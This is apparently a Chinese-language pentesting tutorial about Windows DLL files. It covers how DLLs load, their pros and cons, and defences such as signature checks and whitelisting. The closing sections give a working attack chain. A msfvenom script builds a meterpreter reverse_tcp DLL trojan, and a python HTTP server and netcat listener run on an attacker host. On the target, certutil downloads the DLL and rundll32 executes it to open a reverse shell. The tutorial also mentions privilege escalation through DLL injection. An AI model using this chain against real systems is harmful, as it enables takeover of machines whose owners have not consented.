聲明!本文章所有的工具分享僅僅只是供大家學習交流為主,切勿用于非法用途,如有任何觸犯法律的行為,均與本人及團隊無關!!!
一、dll文件基本概念
DLL 是一種包含可由多個程序同時使用的代碼和數據的庫。它允許程序在運行時動態地加載和使用其中的函數和資源,而不是將所有代碼都靜態地鏈接到可執行文件中。這樣可以節省磁盤空間和內存,并且方便軟件的更新和維護。
二、dll文件工作原理
1、靜態鏈接 vs 動態鏈接
靜態鏈接:在編譯時,將庫文件中的代碼和數據直接合并到可執行文件中。這樣生成的可執行文件包含了所有必要的代碼,但是文件體積較大,而且如果庫文件更新,需要重新編譯整個程序。動態鏈接:在運行時,程序才會去加載所需的 DLL 文件,并將其中的函數和資源映射到自己的地址空間中。多個程序可以共享同一個 DLL 文件,減少了內存的占用。
2、 加載過程
當程序啟動時,如果需要使用某個 DLL,操作系統會檢查該 DLL 是否已經加載到內存中。如果 DLL 未加載,操作系統會將其加載到內存中,并為其分配一個基地址。程序通過 DLL 的導出表找到所需的函數和變量,并調用它們。
三、DLL文件的優點
節省磁盤空間和內存:多個程序可以共享同一個 DLL 文件,避免了代碼的重復存儲和加載。
易于更新和維護:如果 DLL 文件中的代碼需要更新,只需要替換 DLL 文件即可,不需要重新編譯整個程序。
模塊化開發:將不同的功能封裝在不同的 DLL 文件中,便于團隊協作開發和代碼的復用。
四、dll文件的缺點
版本兼容性問題:如果 DLL 文件的版本發生變化,可能會導致與使用該 DLL 的程序不兼容。
依賴管理復雜:程序可能依賴多個 DLL 文件,這些 DLL 文件之間也可能存在依賴關系,管理起來比較復雜。
安全性風險:惡意軟件可以通過替換或注入 DLL 文件來執行惡意代碼。
五、DLL 文件在滲透測試中的應用
1、反彈 Shell
如之前腳本中所示,使用 msfvenom 工具生成包含反彈 Shell 功能的 DLL 文件,然后在目標主機上執行該 DLL 文件,與攻擊主機建立反向連接,從而獲得目標主機的控制權。
2、權限提升
通過注入 DLL 文件到具有高權限的進程中,利用該進程的權限執行惡意代碼,實現權限提升。
六、常見的 DLL 操作命令
rundll32:用于運行 DLL 文件中的指定函數。例如:rundll32 example.dll,FunctionName
regsvr32:用于注冊和注銷 DLL 文件。例如:regsvr32 example.dll 注冊 DLL,regsvr32 /u example.dll 注銷 DLL
七、安全防護措施
數字簽名驗證:確保 DLL 文件來自可信的發布者,通過驗證數字簽名來防止惡意 DLL 文件的加載。
白名單機制:只允許加載系統中預先定義的白名單中的 DLL 文件,禁止加載未知來源的 DLL 文件。
實時監控:使用殺毒軟件和入侵檢測系統實時監控 DLL 文件的加載和執行情況,及時發現和阻止惡意行為。
八、msf生成dll木馬
1、創建dll生成腳本
vim msf_dll.sh#!/bin/baship=192.168.60.128
port=4444
arch=x86
platform=windows
format=dll
payload=windows/meterpreter/reverse_tcp# use exploit/multi/handlerout=$HOME/Desktop/a.dllmsfvenom -p $payload LHOST=$ip LPORT=$port -f $format -a $arch --platform $platform -o $out
2、執行腳本創建dll木馬
chmod +x msf_dll.sh
./msf_dll.sh
九、windows運行dll木馬
1、攻擊機創建http微服務
python -m http.server 8008
2、攻擊機建立監聽
nc -lvvp 4444
3、windows下載dll木馬
certutil -urlcache -split -f "http://192.168.60.128:8008/a.dll" a.dll
4、windows靶機執行dll木馬
rundll32 D:\a.dll,DllMain